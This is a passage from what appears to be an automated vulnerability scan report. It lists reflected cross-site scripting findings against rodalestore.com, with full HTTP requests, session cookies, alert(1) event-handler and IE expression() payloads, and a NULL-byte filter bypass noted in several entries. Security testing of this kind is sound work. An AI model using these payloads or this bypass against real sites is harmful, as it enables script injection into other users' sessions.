//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.947. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload 9da4f<img%20src%3da%20onerror%3dalert(1)>d30ac076eda was submitted in the langId parameter. This input was echoed as 9da4f<img src=a onerror=alert(1)>d30ac076eda in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051&categoryId=10208&langId=-19da4f<img%20src%3da%20onerror%3dalert(1)>d30ac076eda&top=Y&nav_wt=toolbar&nav_wt_sub=Organic%20Living HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:38 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-19da4f<img src=a onerror=alert(1)>d30ac076eda"

   </td>
...[SNIP]...

2.948. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7040"><img%20src%3da%20onerror%3dalert(1)>0b7f8ce7e25 was submitted in the langId parameter. This input was echoed as d7040"><img src=a onerror=alert(1)>0b7f8ce7e25 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051&categoryId=10208&langId=-1d7040"><img%20src%3da%20onerror%3dalert(1)>0b7f8ce7e25&top=Y&nav_wt=toolbar&nav_wt_sub=Organic%20Living HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:37 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1d7040"><img src=a onerror=alert(1)>0b7f8ce7e25&catalogId=10002&storeId=10051&nav_wt=header">
...[SNIP]...

2.949. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload %00508fd--><img%20src%3da%20onerror%3dalert(1)>b4a7125dfdf was submitted in the langId parameter. This input was echoed as 508fd--><img src=a onerror=alert(1)>b4a7125dfdf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051&categoryId=10208&langId=-1%00508fd--><img%20src%3da%20onerror%3dalert(1)>b4a7125dfdf&top=Y&nav_wt=toolbar&nav_wt_sub=Organic%20Living HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:40 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1.508fd--><img src=a onerror=alert(1)>b4a7125dfdf&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.950. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [mag parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the mag request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c527d"><img%20src%3da%20onerror%3dalert(1)>681c6754abc was submitted in the mag parameter. This input was echoed as c527d"><img src=a onerror=alert(1)>681c6754abc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051&categoryId=10255&langId=-1&parent_category_rn=10255&mag=storec527d"><img%20src%3da%20onerror%3dalert(1)>681c6754abc&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:29 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 29537

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head
...[SNIP]...
<img src="/wcsstore/USRodaleStore/en_US/images/storec527d"><img src=a onerror=alert(1)>681c6754abc_logo.gif" alt="Rodalestore.com" align="center" border="0" vspace="4">
...[SNIP]...

2.951. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [parent_category_rn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the parent_category_rn request parameter is copied into the HTML document as plain text between tags. The payload c9d19<img%20src%3da%20onerror%3dalert(1)>2d6ea68f343 was submitted in the parent_category_rn parameter. This input was echoed as c9d19<img src=a onerror=alert(1)>2d6ea68f343 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051&categoryId=10255&langId=-1&parent_category_rn=10255c9d19<img%20src%3da%20onerror%3dalert(1)>2d6ea68f343&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:44 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html
Content-Language: en-US
Content-Length: 10674

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "10255c9d19<img src=a onerror=alert(1)>2d6ea68f343"".</TD>
...[SNIP]...

2.952. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [parent_category_rn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the parent_category_rn request parameter is copied into the HTML document as plain text between tags. The payload 2ae50<img%20src%3da%20onerror%3dalert(1)>55f3a450099 was submitted in the parent_category_rn parameter. This input was echoed as 2ae50<img src=a onerror=alert(1)>55f3a450099 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051&categoryId=10210&langId=-1&parent_category_rn=102102ae50<img%20src%3da%20onerror%3dalert(1)>55f3a450099&nav_wt=toolbar&nav_wt_sub=Spirituality HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:42 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html
Content-Language: en-US
Content-Length: 10674

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "102102ae50<img src=a onerror=alert(1)>55f3a450099"".</TD>
...[SNIP]...

2.953. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload cd3b6--><img%20src%3da%20onerror%3dalert(1)>31d25890ab8 was submitted in the storeId parameter. This input was echoed as cd3b6--><img src=a onerror=alert(1)>31d25890ab8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051cd3b6--><img%20src%3da%20onerror%3dalert(1)>31d25890ab8&categoryId=10208&langId=-1&top=Y&nav_wt=toolbar&nav_wt_sub=Organic%20Living HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:19 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23227

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=10051cd3b6--><img src=a onerror=alert(1)>31d25890ab8&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.954. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17af6"><img%20src%3da%20onerror%3dalert(1)>5acdd5d3ced was submitted in the storeId parameter. This input was echoed as 17af6"><img src=a onerror=alert(1)>5acdd5d3ced in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=1005117af6"><img%20src%3da%20onerror%3dalert(1)>5acdd5d3ced&categoryId=10208&langId=-1&top=Y&nav_wt=toolbar&nav_wt_sub=Organic%20Living HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:16 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="LogonForm?langId=-1&storeId=1005117af6"><img src=a onerror=alert(1)>5acdd5d3ced&catalogId=10002&nav_wt=header" style="color: #CCCC99">
...[SNIP]...

2.955. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 6aea5--><img%20src%3da%20onerror%3dalert(1)>94d8b7807e2 was submitted in the storeId parameter. This input was echoed as 6aea5--><img src=a onerror=alert(1)>94d8b7807e2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=100516aea5--><img%20src%3da%20onerror%3dalert(1)>94d8b7807e2&categoryId=10210&langId=-1&parent_category_rn=10210&nav_wt=toolbar&nav_wt_sub=Spirituality HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:37 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23210

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=100516aea5--><img src=a onerror=alert(1)>94d8b7807e2&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.956. http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/CategoryDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 140b6"style%3d"x%3aexpression(alert(1))"98e6138f573 was submitted in the storeId parameter. This input was echoed as 140b6"style="x:expression(alert(1))"98e6138f573 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10002&storeId=10051140b6"style%3d"x%3aexpression(alert(1))"98e6138f573&categoryId=10210&langId=-1&parent_category_rn=10210&nav_wt=toolbar&nav_wt_sub=Spirituality HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
